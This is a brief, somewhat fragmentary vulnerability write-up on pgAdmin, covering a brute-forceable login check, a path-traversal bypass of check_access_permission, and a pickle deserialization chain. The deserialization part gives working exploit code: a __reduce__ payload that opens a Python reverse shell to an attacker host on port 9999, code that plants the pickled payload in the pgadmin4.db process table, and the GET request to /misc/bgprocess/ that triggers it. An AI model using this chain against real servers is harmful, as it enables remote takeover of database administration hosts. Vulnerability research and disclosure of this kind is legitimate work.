1. pgadmin login verification defect lead to easy brute force cracking
Vulnerability analysis: pgadmin uses flask-security to build authentication login, but when the user name is entered as a number, the program will perform user_model.query.get query and return the object:
/flask_security/datastore.py:521
When the user object exists, pgadmin will prompt that the password is incorrect. When logging in to the system, you don’t need to know the email and username. You only need to enter the number and brute force it to get the system login permission easily.
def get_storage_directory() Used to get the upload file storage directory: The Code uses os.path.join to combine username and default storage directory,If the user name is “/“, os.path.join defaults to “/“,so also bypass function check_access_permission() :
classexp(object): def__reduce__(self): a = 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"vps_address\\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);"' return (os.system,(a,))
e = exp() s = pickle.dumps(e)
import sqlite3
# OK, now for the DB part: we make it...: db = sqlite3.connect('pgadmin4.db') db.execute('UPDATE process set desc = (?) where pid="123"', (s,)) db.commit() db.close()
database content:
3)GET requests /misc/bgprocess/ Trigger the deserialization operation to read the content of the process.desc field to cause the command to execute: